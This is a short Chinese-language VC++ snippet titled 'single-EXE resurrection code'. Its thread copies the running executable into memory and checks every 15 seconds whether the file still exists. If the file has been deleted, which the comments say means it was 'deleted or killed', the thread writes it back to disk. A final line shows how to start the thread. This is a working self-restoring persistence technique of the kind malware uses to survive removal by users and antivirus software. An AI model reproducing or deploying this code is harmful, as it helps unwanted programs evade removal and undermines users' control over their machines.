单EXE复活代码(VC++)

代码

DWORD WINAPI ShieldThread()  {  char FilePath[MAX_PATH];  HANDLE hFile;  HANDLE hSearch;  void* Mem;  int Size;    DWORD BytesRead;  WIN32_FIND_DATA FileData;  char ProtectKey1[MAX_PATH*2],ProtectKey2[MAX_PATH*2];  __try  {  GetModuleFileNameA(NULL,FilePath,MAX_PATH); //获取自身路径  hFile =CreateFileA(FilePath,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); //打开自身  Size =GetFileSize(hFile,0); //获取自身大小  Mem =VirtualAlloc(0,Size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); //申请自身内存,大小为自身大小  ReadFile(hFile,Mem,Size,&BytesRead,0); //获取自身的CODE  CloseHandle(hFile); //关闭句柄  while(1)  {  hSearch =FindFirstFile(FilePath,&FileData);  if(hSearch==INVALID_HANDLE_VALUE) //如果自身不存在,说明自身被删被杀了  {  hFile=CreateFileA(FilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); //创建文件句柄  WriteFile(hFile,Mem,Size,&BytesRead,0); //写入刚才获取到的自身的Code  CloseHandle(hFile); //关闭句柄    //完成复活  }  FindClose(hSearch);  Sleep(15000); //检测周期15秒  }  }  __finally  {    CloseHandle(hFile);  FindClose(hSearch);  }  return 0;  }

调用

CreateThread(0,0,(LPTHREAD_START_ROUTINE)ShieldThread,0,0,0);